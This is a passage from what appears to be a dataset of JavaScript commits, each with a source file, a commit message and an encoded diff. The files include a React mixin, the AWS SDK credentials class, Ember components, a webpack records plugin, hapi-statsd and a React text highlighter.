}); }); } } }, componentWillUnmount: function() { if (this.subscriptions) { _.each(this.subscriptions, function(unsubscriber) { unsubscriber(); }); } this.subscriptions = null; } }; }; /** * Via React create a composite component class given a class specification * that will have accessors to any given datasets. * * @param {object} spec Class specification. * @return {function} Component constructor function. * @public */ var createClass = function(component) { var mixins = component.mixins || []; _.each(component.datasets || {}, function(dataset, datasetKey) { mixins.push(createMixinDatasetAccessor(dataset, datasetKey)); }); component.mixins = mixins.concat( MixinStatus, createClass.mixins, { getComponentParams: createClass.getComponentParams } ); return React.createClass(component); }; // Shim for adding mixins to RPS components createClass.mixins = []; // Shim for fetching a components params createClass.getComponentParams = function() { return _.extend({}, this.props); }; module.exports = createClass;
JavaScript
0.000001
@@ -3263,19 +3263,16 @@ - // validat @@ -3300,15 +3300,8 @@ data -.errors %7C%7C @@ -3409,16 +3409,16 @@ rapper;%0A - %7D) @@ -3416,24 +3416,220 @@ %0A %7D);%0A%0A + wrapper.errors = function(attribute) %7B%0A if (attribute) %7B%0A return validationErrors%5Battribute%5D;%0A %7D%0A else %7B%0A return validationErrors;%0A %7D%0A %7D;%0A%0A wrappe
dc40b34f150affe005fddd37da34035755d56c6a
fix typo: refreshhing -> refreshing
lib/credentials.js
lib/credentials.js
var AWS = require('./core'); /** * Represents your AWS security credentials, specifically the * {accessKeyId}, {secretAccessKey}, and optional {sessionToken}. * Creating a `Credentials` object allows you to pass around your * security information to configuration and service objects. * * Note that this class typically does not need to be constructed manually, * as the {AWS.Config} and {AWS.Service} classes both accept simple * options hashes with the three keys. These structures will be converted * into Credentials objects automatically. * * ## Expiring and Refreshing Credentials * * Occasionally credentials can expire in the middle of a long-running * application. In this case, the SDK will automatically attempt to * refresh the credentials from the storage location if the Credentials * class implements the {refresh} method. * * If you are implementing a credential storage location, you * will want to create a subclass of the `Credentials` class and * override the {refresh} method. This method allows credentials to be * retrieved from the backing store, be it a file system, database, or * some network storage. The method should reset the credential attributes * on the object. * * @!attribute expired * @return [Boolean] whether the credentials have been expired and * require a refresh. Used in conjunction with {expireTime}. * @!attribute expireTime * @return [Date] a time when credentials should be considered expired. Used * in conjunction with {expired}. * @!attribute accessKeyId * @return [String] the AWS access key ID * @!attribute secretAccessKey * @return [String] the AWS secret access key * @!attribute sessionToken * @return [String] an optional AWS session token */ AWS.Credentials = AWS.util.inherit({ /** * A credentials object can be created using positional arguments or an options * hash. * * @overload AWS.Credentials(accessKeyId, secretAccessKey, sessionToken=null) * Creates a Credentials object with a given set of credential information * as positional arguments. * @param accessKeyId [String] the AWS access key ID * @param secretAccessKey [String] the AWS secret access key * @param sessionToken [String] the optional AWS session token * @example Create a credentials object with AWS credentials * var creds = new AWS.Credentials('akid', 'secret', 'session'); * @overload AWS.Credentials(options) * Creates a Credentials object with a given set of credential information * as an options hash. * @option options accessKeyId [String] the AWS access key ID * @option options secretAccessKey [String] the AWS secret access key * @option options sessionToken [String] the optional AWS session token * @example Create a credentials object with AWS credentials * var creds = new AWS.Credentials({ * accessKeyId: 'akid', secretAccessKey: 'secret', sessionToken: 'session' * }); */ constructor: function Credentials() { // hide secretAccessKey from being displayed with util.inspect AWS.util.hideProperties(this, ['secretAccessKey']); this.expired = false; this.expireTime = null; if (arguments.length === 1 && typeof arguments[0] === 'object') { var creds = arguments[0].credentials || arguments[0]; this.accessKeyId = creds.accessKeyId; this.secretAccessKey = creds.secretAccessKey; this.sessionToken = creds.sessionToken; } else { this.accessKeyId = arguments[0]; this.secretAccessKey = arguments[1]; this.sessionToken = arguments[2]; } }, /** * @return [Integer] the window size in seconds to attempt refreshhing of * credentials before the expireTime occurs. */ expiryWindow: 15, /** * @return [Boolean] whether the credentials object should call {refresh} * @note Subclasses should override this method to provide custom refresh * logic. */ needsRefresh: function needsRefresh() { var currentTime = AWS.util.date.getDate().getTime(); var adjustedTime = new Date(currentTime + this.expiryWindow * 1000); if (this.expireTime && adjustedTime > this.expireTime) { return true; } else { return this.expired || !this.accessKeyId || !this.secretAccessKey; } }, /** * Gets the existing credentials, refreshing them if they are not yet loaded * or have expired. Users should call this method before using {refresh}, * as this will not attempt to reload credentials when they are already * loaded into the object. * * @callback callback function(err) * Called when the instance metadata service responds (or fails). When * this callback is called with no error, it means that the credentials * information has been loaded into the object (as the `accessKeyId`, * `secretAccessKey`, and `sessionToken` properties). * @param err [Error] if an error occurred, this value will be filled */ get: function get(callback) { var self = this; if (this.needsRefresh()) { this.refresh(function(err) { if (!err) self.expired = false; // reset expired flag if (callback) callback(err); }); } else if (callback) { callback(); } }, /** * Refreshes the credentials. Users should call {get} before attempting * to forcibly refresh credentials. * * @callback callback function(err) * Called when the instance metadata service responds (or fails). When * this callback is called with no error, it means that the credentials * information has been loaded into the object (as the `accessKeyId`, * `secretAccessKey`, and `sessionToken` properties). * @param err [Error] if an error occurred, this value will be filled * @note Subclasses should override this class to reset the * {accessKeyId}, {secretAccessKey} and optional {sessionToken} * on the credentials object and then call the callback with * any error information. * @see get */ refresh: function refresh(callback) { this.expired = false; callback(); } });
JavaScript
0.999733
@@ -3690,17 +3690,16 @@ refresh -h ing of%0A
16721f84c9329dce995fa080bbde1f647726978e
use default duration here
addon/components/animated-each.js
addon/components/animated-each.js
import Ember from 'ember'; import layout from '../templates/components/animated-each'; import { task, allSettled } from 'ember-concurrency'; import { afterRender } from '../concurrency-helpers'; import Move from '../motions/move'; export default Ember.Component.extend({ layout, tagName: '', motionService: Ember.inject.service('-ea-motion'), init() { this._super(); this._enteringComponents = []; this._currentComponents = []; this._leavingComponents = []; this._prevItems = []; this._firstTime = true; }, willDestroyElement() { let removed = flatMap(this._currentComponents, component => component.sprites()); this.get('motionService.farMatch').perform([], removed, []); }, didReceiveAttrs() { let prevItems = this._prevItems; let items = this.get('items') || []; this._prevItems = items.slice(); if (this._currentComponents.length > 0) { this._notifyContainer('lock'); } let currentSprites = flatMap(this._currentComponents, component => component.sprites()); currentSprites.forEach(sprite => sprite.measureInitialBounds()); currentSprites.forEach(sprite => sprite.lock()); this.get('animate').perform(prevItems, items, currentSprites); }, animate: task(function * (prevItems, items, currentSprites) { yield afterRender(); let [keptSprites, removedSprites] = partition( currentSprites, sprite => this._leavingComponents.indexOf(sprite.component) < 0 ); // Briefly unlock everybody keptSprites.forEach(sprite => sprite.unlock()); // so we can measure the final static layout let insertedSprites = flatMap(this._enteringComponents, component => component.sprites()); insertedSprites.forEach(sprite => sprite.measureFinalBounds()); keptSprites.forEach(sprite => sprite.measureFinalBounds()); this._notifyContainer('measure'); let tasks = []; // Update our permanent state here before we actualy animate. This // leaves us consistent in case we re-enter before the animation // finishes (we allow this task to be re-entrant, because some // Motions may choose not to interrupt already running Motions). this._updateComponentLists(); // Then lock everything down keptSprites.forEach(sprite => sprite.lock()); insertedSprites.forEach(sprite => sprite.lock()); // Including ghost copies of the deleted components removedSprites.forEach(sprite => { sprite.append(); sprite.lock(); }); // [inserted, removed, replaced] = matchReplacements(prevItems, items, inserted, kept, removed); // [inserted, removed, replaced] = yield this.get('motionService.farMatch').perform(inserted, removed, replaced); console.log(`inserted=${insertedSprites.length}, kept=${keptSprites.length}, removed=${removedSprites.length}`); if (this._firstTime) { this._firstTime = false; insertedSprites.forEach(sprite => { sprite.reveal(); }); } else { insertedSprites.forEach(sprite => { sprite.initialBounds = { left: sprite.finalBounds.left + 1000, top: sprite.finalBounds.top }; sprite.translate(sprite.initialBounds.left - sprite.finalBounds.left, sprite.initialBounds.top - sprite.finalBounds.top); let move = Move.create(sprite, { duration: 500 }); tasks.push(move.run()); }); } keptSprites.forEach(sprite => { let move = Move.create(sprite); tasks.push(move.run()); }); removedSprites.forEach(sprite => { sprite.finalBounds = { left: sprite.initialBounds.left + 1000, top: sprite.initialBounds.top }; let move = Move.create(sprite); tasks.push(move.run().then(() => { sprite.remove(); })); }); let results = yield allSettled(tasks); results.forEach(result => { if (result.state === 'rejected' && result.reason.name !== 'TaskCancelation') { setTimeout(function() { throw result.reason; }, 0); } }); // Last one out close the door on your way out. if (this.get('animate.concurrency') === 1) { keptSprites.forEach(sprite => sprite.unlock()); insertedSprites.forEach(sprite => sprite.unlock()); this._notifyContainer('unlock'); } }), _updateComponentLists() { this._currentComponents = this._currentComponents.concat(this._enteringComponents) .filter(c => this._leavingComponents.indexOf(c) === -1); this._enteringComponents = []; this._leavingComponents = []; }, _notifyContainer(method) { var target = this.get('notify'); if (target && target[method]) { return target[method](); } }, actions: { childEntering(component) { this._enteringComponents.push(component); }, childLeaving(component) { this._leavingComponents.push(component); } } }).reopenClass({ positionalParams: ['items'] }); function partition(list, pred) { let matched = []; let unmatched = []; list.forEach(entry => { if (pred(entry)) { matched.push(entry); } else { unmatched.push(entry); } }); return [matched, unmatched]; } function flatMap(list, fn) { let results = []; for (let i = 0; i < list.length; i++) { results.push(fn(list[i])); } return [].concat(...results); }
JavaScript
0
@@ -3317,27 +3317,8 @@ rite -, %7B duration: 500 %7D );%0A
6349ec8494e57a19c3d80e327c3f6b4c4122665a
stop panel closing when selecting options
addon/components/as-side-panel.js
addon/components/as-side-panel.js
import Ember from 'ember'; import KeyEventsMixin from 'ember-cli-paint/mixins/key-events'; import TransitionDurationMixin from 'ember-cli-paint/mixins/transition-duration'; import InboundActions from 'ember-component-inbound-actions/inbound-actions'; export default Ember.Component.extend(KeyEventsMixin, TransitionDurationMixin, InboundActions, { classNameBindings: [':side-panel', 'isActive:active', 'isDrawerActive:drawer-active'], tagName: 'section', isDrawerActive: false, onDidInsertElement: function() { Ember.run.schedule('afterRender', () => { this.set('isActive', true); }); // TODO: Figure out why using the Ember `click` instance method resulted in // the event handler to be called twice. this.$().on('click', (event) => { var $target = Ember.$(event.target); var $nonBlurringElements = this.$('> div'); if($target.closest($nonBlurringElements).length === 0) { this.send('close'); } }); }.on('didInsertElement'), actions: { close: function() { this.set('isActive', false); Ember.run.later(this, function() { this.sendAction('close'); }, this.get('transitionDuration')); }, next: function() { this.sendAction('next'); }, previous: function() { this.sendAction('previous'); }, showDrawer: function() { this.set('isDrawerActive', true); }, hideDrawer: function() { this.set('isDrawerActive', false); }, toggleDrawer: function() { this.toggleProperty('isDrawerActive'); } }, keyEvents: { esc: function() { this.send('close'); }, leftArrow: function(event) { if (!Ember.$(event.target).is(':input')) { this.send('previous'); } }, rightArrow: function(event) { if (!Ember.$(event.target).is(':input')) { this.send('next'); } } } });
JavaScript
0
@@ -856,24 +856,99 @@ ('%3E div');%0A%0A + if ($target.closest('html').length === 0) %7B%0A return;%0A %7D%0A%0A if($ta
8ea373b31234d80e18cd8da1496396f86ad159c7
Update defaultObjs.js
lib/defaultObjs.js
lib/defaultObjs.js
function createDefaults(lang, temperature, currency) { var defaults = { "level.dimmer": { "def": 0, "type": "number", "read": true, "write": true, "min": 0, "max": 100, "unit": "%" }, "indicator.working": { "def": false, "type": "boolean", "read": true, "write": false, "min": false, "max": true }, "indicator.maintenance": { "def": false, "type": "boolean", "read": true, "write": false, "min": false, "max": true }, "indicator.maintenance.lowbat": { "def": false, "type": "boolean", "read": true, "write": false, "min": false, "max": true, "desc": "Low battery" }, "indicator.maintenance.unreach": { "def": false, "type": "boolean", "read": true, "write": false, "min": false, "max": true, "desc": "Device unreachable" } }; return defaults; } module.exports = createDefaults;
JavaScript
0.000001
@@ -1610,16 +1610,181 @@ chable%22%0A + %7D,%0A %22switch%22 : %7B%0A %22def%22: false, %0A %22type%22: %22boolean%22, %0A %22read%22: true, %0A %22write%22: true, %0A
e44066159c5abe2419fe06d8bf7fe740dc4df3b5
Fix check for valid date to avoid displaying invalid dates
source/js/src/widgets/build_status.js
source/js/src/widgets/build_status.js
//noinspection JSUnusedAssignment dashlight.widgets = (function (module) { module.build_status = (function () { var build = function (content) { var text; var textDuration; var minutes; text = content.branch + " build" + " is " + content.state; if (!!content.startTime) { text = text + "; started at " + content.startTime.format("DD MMM YYYY HH:mm:ss"); } if (!!content.finishTime) { minutes = content.duration.minutes(); textDuration = content.duration.seconds() + "s"; if (minutes > 0) { textDuration = minutes + "m:" + textDuration; } text = text + "; finished at " + content.finishTime.format("DD MMM YYYY HH:mm:ss") + " (" + textDuration + ")"; } return $("<div></div>").text(text); }; return { build: build } }()); return module; }(dashlight.widgets || {}));
JavaScript
0.000001
@@ -325,34 +325,32 @@ if ( -!! content.startTim @@ -346,24 +346,34 @@ nt.startTime +.isValid() ) %7B%0A @@ -533,16 +533,26 @@ nishTime +.isValid() ) %7B%0A
dace3350e29e45842fd31440fb1d925d30b6f463
fix incorrect id assignment of record ids plugin
lib/RecordIdsPlugin.js
lib/RecordIdsPlugin.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const { compareNumbers } = require("./util/comparators"); const identifierUtils = require("./util/identifier"); /** @typedef {import("./Chunk")} Chunk */ /** @typedef {import("./Compiler")} Compiler */ /** @typedef {import("./Module")} Module */ /** * @typedef {Object} RecordsChunks * @property {Record<string, number>=} byName * @property {Record<string, number>=} bySource * @property {number[]=} usedIds */ /** * @typedef {Object} RecordsModules * @property {Record<string, number>=} byIdentifier * @property {Record<string, number>=} bySource * @property {number[]=} usedIds */ /** * @typedef {Object} Records * @property {RecordsChunks=} chunks * @property {RecordsModules=} modules */ class RecordIdsPlugin { /** * @param {Object} options Options object * @param {boolean=} options.portableIds true, when ids need to be portable */ constructor(options) { this.options = options || {}; } /** * @param {Compiler} compiler the Compiler * @returns {void} */ apply(compiler) { const portableIds = this.options.portableIds; const makePathsRelative = identifierUtils.makePathsRelative.bindContextCache( compiler.context, compiler.root ); /** * @param {Module} module the module * @returns {string} the (portable) identifier */ const getModuleIdentifier = module => { if (portableIds) { return makePathsRelative(module.identifier()); } return module.identifier(); }; compiler.hooks.compilation.tap("RecordIdsPlugin", compilation => { compilation.hooks.recordModules.tap( "RecordIdsPlugin", /** * @param {Module[]} modules the modules array * @param {Records} records the records object * @returns {void} */ (modules, records) => { const chunkGraph = compilation.chunkGraph; if (!records.modules) records.modules = {}; if (!records.modules.byIdentifier) records.modules.byIdentifier = {}; /** @type {Set<number>} */ const usedIds = new Set(); for (const module of modules) { const moduleId = chunkGraph.getModuleId(module); if (typeof moduleId !== "number") continue; const identifier = getModuleIdentifier(module); records.modules.byIdentifier[identifier] = moduleId; usedIds.add(moduleId); } records.modules.usedIds = Array.from(usedIds).sort(compareNumbers); } ); compilation.hooks.reviveModules.tap( "RecordIdsPlugin", /** * @param {Module[]} modules the modules array * @param {Records} records the records object * @returns {void} */ (modules, records) => { if (!records.modules) return; if (records.modules.byIdentifier) { const chunkGraph = compilation.chunkGraph; /** @type {Set<number>} */ const usedIds = new Set(); for (const module of modules) { const moduleId = chunkGraph.getModuleId(module); if (moduleId !== null) continue; const identifier = getModuleIdentifier(module); const id = records.modules.byIdentifier[identifier]; if (id === undefined) continue; if (usedIds.has(id)) continue; usedIds.add(id); chunkGraph.setModuleId(module, id); } } if (Array.isArray(records.modules.usedIds)) { compilation.usedModuleIds = new Set(records.modules.usedIds); } } ); /** * @param {Chunk} chunk the chunk * @returns {string[]} sources of the chunk */ const getChunkSources = chunk => { /** @type {string[]} */ const sources = []; for (const chunkGroup of chunk.groupsIterable) { const index = chunkGroup.chunks.indexOf(chunk); if (chunkGroup.name) { sources.push(`${index} ${chunkGroup.name}`); } else { for (const origin of chunkGroup.origins) { if (origin.module) { if (origin.request) { sources.push( `${index} ${getModuleIdentifier(origin.module)} ${ origin.request }` ); } else if (typeof origin.loc === "string") { sources.push( `${index} ${getModuleIdentifier(origin.module)} ${ origin.loc }` ); } else if ( origin.loc && typeof origin.loc === "object" && "start" in origin.loc ) { sources.push( `${index} ${getModuleIdentifier( origin.module )} ${JSON.stringify(origin.loc.start)}` ); } } } } } return sources; }; compilation.hooks.recordChunks.tap( "RecordIdsPlugin", /** * @param {Chunk[]} chunks the chunks array * @param {Records} records the records object * @returns {void} */ (chunks, records) => { if (!records.chunks) records.chunks = {}; if (!records.chunks.byName) records.chunks.byName = {}; if (!records.chunks.bySource) records.chunks.bySource = {}; /** @type {Set<number>} */ const usedIds = new Set(); for (const chunk of chunks) { if (typeof chunk.id !== "number") continue; const name = chunk.name; if (name) records.chunks.byName[name] = chunk.id; const sources = getChunkSources(chunk); for (const source of sources) { records.chunks.bySource[source] = chunk.id; } usedIds.add(chunk.id); } records.chunks.usedIds = Array.from(usedIds).sort(compareNumbers); } ); compilation.hooks.reviveChunks.tap( "RecordIdsPlugin", /** * @param {Chunk[]} chunks the chunks array * @param {Records} records the records object * @returns {void} */ (chunks, records) => { if (!records.chunks) return; /** @type {Set<number>} */ const usedIds = new Set(); if (records.chunks.byName) { for (const chunk of chunks) { if (chunk.id !== null) continue; if (!chunk.name) continue; const id = records.chunks.byName[chunk.name]; if (id === undefined) continue; if (usedIds.has(id)) continue; usedIds.add(id); chunk.id = id; chunk.ids = [id]; } } if (records.chunks.bySource) { for (const chunk of chunks) { const sources = getChunkSources(chunk); for (const source of sources) { const id = records.chunks.bySource[source]; if (id === undefined) continue; if (usedIds.has(id)) continue; usedIds.add(id); chunk.id = id; chunk.ids = [id]; break; } } } if (Array.isArray(records.chunks.usedIds)) { compilation.usedChunkIds = new Set(records.chunks.usedIds); } } ); }); } } module.exports = RecordIdsPlugin;
JavaScript
0
@@ -6254,24 +6254,64 @@ f chunks) %7B%0A +%09%09%09%09%09%09%09if (chunk.id !== null) continue;%0A %09%09%09%09%09%09%09const
cb6b464ea1a0d6e5de9244750486d9b20551b244
fix native mock
test/helpers/RNBranch.mock.js
test/helpers/RNBranch.mock.js
import React from 'react-native' const defaultSession = {params: {}, error: null} React.NativeModules.RNBranch = { getInitSessionResult() { return new Promise((resolve, reject) => { setTimeout(() => resolve(defaultSession), 500) }) } }
JavaScript
0.000002
@@ -116,11 +116,14 @@ %7B%0A -get +redeem Init
cc4ae294698f8a20159fda730d202657615e0e5b
Set logger
lib/fieldFilter.js
lib/fieldFilter.js
'use strict'; var through = require('through2'); var winston = require('winston'); var resolveFields = require('./resolveFields'); var formatAddress = require('./formatAddress'); var objectMode = {objectMode: true}; module.exports = function(fields, logger){ if(!logger) logger = winston; //Chunk is a GeoJSON feature return through(objectMode, function(chunk, enc, cb){ var props = chunk.properties; try{ var vals = resolveFields(props, fields); var payload = { type: "Feature", properties: { address: formatAddress( vals.Address, vals.City, vals.State, vals.Zip ), alt_address: "" }, geometry: chunk.geometry } }catch(e){ logger.error(e); return cb(null); } return cb(null, payload); }); };
JavaScript
0.000002
@@ -214,34 +214,40 @@ e%7D;%0A -%0Amodule.exports = +var logger = winston;%0A%0A%0A function (fie @@ -246,57 +246,29 @@ tion -( + field -s, logger)%7B%0A if(!logger) logger = winston; +Filter(fields)%7B %0A%0A @@ -858,10 +858,110 @@ %0A %7D);%0A%7D +%0A%0AfieldFilter.setLogger = function(newLogger)%7B%0A logger = newLogger;%0A%7D%0A%0Amodule.exports = fieldFilter ;%0A
0307d8d277220f67bfbb7500193f1d3b53a6bfe1
handle going offline
lib/gc_api/ajax.js
lib/gc_api/ajax.js
var atevent = null; var test = false; var cities_grabbed = {}; function at(num){ atevent = num; } function sms_count(sent, received, limit){ $('#sms_sent').html(sent); $('#sms_received').html(received); $('#sms_counter').show(); if (limit > 0) { window.remaining = Math.max(limit - sent - received, 0); if (window.remaining < 30) $('#sms_limited').addClass('warning'); $('#sms_remaining').html(window.remaining); $('#sms_limited').show(); $('#sms_limited_comma').show(); } }; function q(){}; Ajax = { interval: 6 * 1000, timer: null, uuid: function() { return This.user.tag + '_' + new Date().getTime(); }, init: function() { $("body").bind("ajaxSend", function(){ clearTimeout(Ajax.timer); $(this).addClass('refresh'); }).bind("ajaxComplete", function(){ Ajax.schedule_autoload(); $(this).removeClass('refresh'); }); Anncs.new_events_are_new = true; Resource.handle_changes = true; $.ajaxSetup({ error: function(req, textStatus, errorThrown){ if (req.status == 401) { $.cookie('back', window.location.href); window.location = '../login'; return; } if (req.status == 403) { console.log("403 for authority: " + window.authority); alert('You do not have permission to view or organize on this squad. ' + 'You may need to sign out and sign back in on another account or ' + 'request an organizer invitation from the squad leaders.'); return; } if (req.status == 404) return; if (errorThrown){ throw errorThrown; } if (req.responseText) { console.log(req.responseText); // this is a little white lie -- this actually usually occurs due to a server bug Notifier.error("Oops! It looks like your connection is having problems. "+ "Please try that action again soon."); } } }); if (demo) return; Ajax.autoload(); }, schedule_autoload: function(){ if (demo) return; if (Ajax.timer) clearTimeout(Ajax.timer); Ajax.timer = setTimeout(function(){Ajax.autoload();}, Ajax.interval); }, maybe_trigger_load: function() { if (Ajax.go_on_load && ($values(Agents.by_tag).length > 0 || most_recent_item)) { go(Ajax.go_on_load); $('#loading_data').remove(); delete Ajax.go_on_load; } }, autoload: function(callback){ if (demo) return; var uri = '/api/stream.js?'; if (atevent) uri += '&since=' + atevent; if (This.city_id) { uri += '&city=' + This.city_id; if (!cities_grabbed[This.city_id]) { uri += '&city_init=1'; cities_grabbed[This.city_id] = true; } } $.getScript(uri, callback); Ajax.maybe_trigger_load(); }, fetch: function(url, options, after){ if (demo) return; $.getJSON(url, options, function(obj){ if (obj.error){ alert("Note: " + obj.error); return; } if (after) after(obj); }); } };
JavaScript
0
@@ -1074,14 +1074,235 @@ == -401) %7B +0) %7B%0A Notifier.error(%22You are offline.%22);%0A Ajax.schedule_autoload(30 * 1000);%0A %7D%0A if (req.status == 401) %7B%0A if (demo) return Notifier.error(%22That action is not supported in demo mode.%22); %0A @@ -2268,24 +2268,32 @@ d: function( +interval )%7B%0A if (d @@ -2408,16 +2408,28 @@ oad();%7D, + interval %7C%7C Ajax.in
e58298c298046a2d48bd70207aab8b275d0acfe7
Fix IE compat
Bacon.UI.js
Bacon.UI.js
(function() { var isChrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1; function nonEmpty(x) { return x && x.length > 0 } Bacon.UI = {} Bacon.UI.textFieldValue = function(textfield) { function getValue() { return textfield.val() } function autofillPoller() { if (textfield.attr("type") == "password") return Bacon.interval(100) else if (isChrome) return Bacon.interval(100).take(20).map(getValue).filter(nonEmpty).take(1) else return Bacon.never() } return $(textfield).asEventStream("keyup input"). merge($(textfield).asEventStream("cut paste").delay(1)). merge(autofillPoller()). map(getValue).skipDuplicates().toProperty(getValue()) } Bacon.UI.optionValue = function(option) { function getValue() { return option.val() } return option.asEventStream("change").map(getValue).toProperty(getValue()) } Bacon.UI.checkBoxGroupValue = function(checkboxes, initValue) { function selectedValues() { return checkboxes.filter(":checked").map(function(i, elem) { return $(elem).val()}).toArray() } if (initValue) { checkboxes.each(function(i, elem) { $(elem).attr("checked", initValue.indexOf($(elem).val()) >= 0) }) } return checkboxes.asEventStream("click").map(selectedValues).toProperty(selectedValues()) } Bacon.Observable.prototype.pending = function(src) { return src.map(true).merge(this.map(false)).toProperty(false) } Bacon.EventStream.prototype.ajax = function() { return this.switch(function(params) { return Bacon.fromPromise($.ajax(params)) }) } })();
JavaScript
0.000029
@@ -1553,15 +1553,18 @@ this -. +%5B%22 switch +%22%5D (fun
ba19f294b4a21b354de4e945760fc8e38f6a682f
fix Jasmine failing test
edx_notifications/server/web/static/edx_notifications/js/test/spec/counter_icon_view_Spec.js
edx_notifications/server/web/static/edx_notifications/js/test/spec/counter_icon_view_Spec.js
;(function (define) { define([ 'jquery', 'backbone', 'counter_icon_view', 'text!notification_icon_template', 'text!notification_pane_template' ], function ($, Backbone, CounterIconView, NotificationIcon, NotificationPane) { 'use strict'; describe("CounterIconView", function(){ beforeEach(function(){ this.server = sinon.fakeServer.create(); setFixtures('<div id="edx_notification_container"></div><div id="edx_notification_pane"></div>'); this.counter_view = new CounterIconView({ el: $("#edx_notification_container"), pane_el: $("#notification_pane"), endpoints: { unread_notification_count: "/count/unread", user_notifications: "", renderer_templates_urls: "" }, view_templates: { notification_icon: NotificationIcon, notification_pane: NotificationPane } }); }); afterEach(function() { this.server.restore(); }); it("set unread notifications count url", function(){ expect(this.counter_view.model.url).toBe("/count/unread") }); it("get unread notifications count", function(){ var unread_count = 2030 this.server.respondWith( "GET", "/count/unread", [ 200, { "Content-Type": "application/json" }, '{"count":' + unread_count + '}' ] ); this.server.respond(); expect(this.counter_view.$el.html()).toContain(unread_count) }); }); }); })(define || RequireJS.define);
JavaScript
0.000012
@@ -947,16 +947,91 @@ ionPane%0A + %7D,%0A refresh_watcher: %7B%0A name: %22none%22%0A @@ -1736,8 +1736,9 @@ define); +%0A
cd1f32a4b1bdd22b811db5f8e11bb04b961fbf6c
Change the behvior of the id filter flag so that it works the same way as the rest
lib/hapi-statsd.js
lib/hapi-statsd.js
var StatsdClient = require('statsd-client'), Hoek = require('hoek'), defaults = { statsdClient: null, host: 'localhost', port: '8125', prefix: 'hapi', pathSeparator: '_', template: '{path}.{method}.{statusCode}', defaultFilter: { enableCounter: true, enableTimer: true, }, filters: [], }; module.exports.register = function(server, options, next) { var settings = Hoek.applyToDefaults(defaults, options || {}), statsdClient = options.statsdClient || new StatsdClient({ host: settings.host, port: settings.port, prefix: settings.prefix }), normalizePath = function(path) { path = (path.indexOf('/') === 0) ? path.substr(1) : path; return path.replace(/\//g, settings.pathSeparator); }, filterCache = {}, //cache results so that we don't have to compute them every time getFilter = function(statName, route, status) { var cachedFilter = filterCache[statName]; if(cachedFilter) { return cachedFilter; } var foundFilter = settings.filters.find(function(filter) { // a match on route id if (route.settings && route.settings.id && route.settings.id === filter.id) { return true; } if (filter.path && route.path !== filter.path) { return false; } if (filter.status && status !== filter.status) { return false; } if (filter.method && route.method.toUpperCase() !== filter.method.toUpperCase()) { return false; } // return true if at least one of the parameters is defined return filter.path || filter.method || filter.status; }); return filterCache[statName] = Hoek.applyToDefaults(settings.defaultFilter, foundFilter || {}); }; server.decorate('server', 'statsd', statsdClient); server.ext('onPreResponse', function (request, reply) { var startDate = new Date(request.info.received); var statusCode = (request.response.isBoom) ? request.response.output.statusCode : request.response.statusCode; var path = request._route.path; var specials = request.connection._router.specials; if (request._route === specials.notFound.route) { path = '/{notFound*}'; } else if (specials.options && request._route === specials.options.route) { path = '/{cors*}'; } else if (request._route.path === '/' && request._route.method === 'options') { path = '/{cors*}'; } var statName = settings.template .replace('{path}', normalizePath(path)) .replace('{method}', request.method.toUpperCase()) .replace('{statusCode}', statusCode); statName = (statName.indexOf('.') === 0) ? statName.substr(1) : statName; var filter = getFilter(statName, request._route, statusCode); if (filter.name) { statName = filter.name; } if (filter.enableCounter) { statsdClient.increment(statName); } if (filter.enableTimer) { statsdClient.timing(statName, startDate); } reply.continue(); }); next(); }; module.exports.register.attributes = { pkg: require('../package.json') };
JavaScript
0
@@ -1060,30 +1060,25 @@ %09%09%09%09if ( -route.settings +filter.id && rout @@ -1087,19 +1087,16 @@ settings -.id && rout @@ -1109,17 +1109,17 @@ ings.id -= +! == filte @@ -1138,19 +1138,20 @@ %09return -tru +fals e;%0A%09%09%09%09%7D @@ -1493,24 +1493,37 @@ d%0A%09%09%09%09return + filter.id %7C%7C filter.path
8697db8ee0871aae32ad027f6d8ea07d3a99f572
Replace React.PropTypes with PropTypes
lib/highlighter.js
lib/highlighter.js
var React = require('react'); var RegExpPropType = require('./regExpPropType'); var escapeStringRegexp = require('escape-string-regexp'); var blacklist = require('blacklist'); var createReactClass = require('create-react-class'); var PropTypes = require('prop-types'); function removeDiacritics(str, blacklist) { if (!String.prototype.normalize) { // Fall back to original string return str; } if (!blacklist) { // No blacklist, just remove all return str.normalize('NFD').replace(/[\u0300-\u036f]/g, ''); } else { var blacklistChars = blacklist.split(''); // Remove all diacritics that are not a part of a blacklisted character // First char cannot be a diacritic return str.normalize('NFD').replace(/.[\u0300-\u036f]+/g, function(m) { return blacklistChars.indexOf(m.normalize()) > -1 ? m.normalize() : m[0]; }); } } var Highlighter = createReactClass({ displayName: 'Highlighter', count: 0, propTypes: { search: PropTypes.oneOfType([ PropTypes.string, PropTypes.number, PropTypes.bool, RegExpPropType ]).isRequired, caseSensitive: PropTypes.bool, ignoreDiacritics: PropTypes.bool, diacriticsBlacklist: PropTypes.string, matchElement: PropTypes.oneOfType([React.PropTypes.string, React.PropTypes.func]), matchClass: PropTypes.string, matchStyle: PropTypes.object }, render: function() { var props = blacklist( this.props, 'search', 'caseSensitive', 'ignoreDiacritics', 'diacriticsBlacklist', 'matchElement', 'matchClass', 'matchStyle' ); return React.createElement('span', props, this.renderElement(this.props.children)); }, /** * A wrapper to the highlight method to determine when the highlighting * process should occur. * * @param {string} subject * The body of text that will be searched for highlighted words. * * @return {Array} * An array of ReactElements */ renderElement: function(subject) { if (this.isScalar() && this.hasSearch()) { var search = this.getSearch(); return this.highlightChildren(subject, search); } return this.props.children; }, /** * Determine if props are valid types for processing. * * @return {Boolean} */ isScalar: function() { return (/string|number|boolean/).test(typeof this.props.children); }, /** * Determine if required search prop is defined and valid. * * @return {Boolean} */ hasSearch: function() { return (typeof this.props.search !== 'undefined') && this.props.search; }, /** * Get the search prop, but always in the form of a regular expression. Use * this as a proxy to this.props.search for consistency. * * @return {RegExp} */ getSearch: function() { if (this.props.search instanceof RegExp) { return this.props.search; } var flags = ''; if (!this.props.caseSensitive) { flags +='i'; } var search = this.props.search; if (typeof this.props.search === 'string') { search = escapeStringRegexp(search); } if (this.props.ignoreDiacritics) { search = removeDiacritics(search, this.props.diacriticsBlacklist); } return new RegExp(search, flags); }, /** * Get the indexes of the first and last characters of the matched string. * * @param {string} subject * The string to search against. * * @param {RegExp} search * The regex search query. * * @return {Object} * An object consisting of "first" and "last" properties representing the * indexes of the first and last characters of a matching string. */ getMatchBoundaries: function(subject, search) { var matches = search.exec(subject); if (matches) { return { first: matches.index, last: matches.index + matches[0].length }; } }, /** * Determines which strings of text should be highlighted or not. * * @param {string} subject * The body of text that will be searched for highlighted words. 